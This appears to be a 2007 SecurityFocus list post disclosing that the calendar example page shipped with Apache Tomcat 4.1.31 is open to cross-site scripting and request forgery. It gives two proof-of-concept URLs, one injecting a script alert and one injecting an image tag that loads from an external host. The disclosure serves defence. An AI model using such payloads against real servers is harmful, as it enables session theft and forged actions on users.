Apache tomcat calendar example cross site scripting and cross site request forgery vulnerability Sep 04 2007 03:00AM
tusharvartak hotmail com (1 replies)
Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery.

XSS
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3eale
rt("XSS!")%3c%2fscript%3e

XSRF
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http:
//xsrfxonfirmed.com/testimage.gif">

-

Tushar Vartak

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus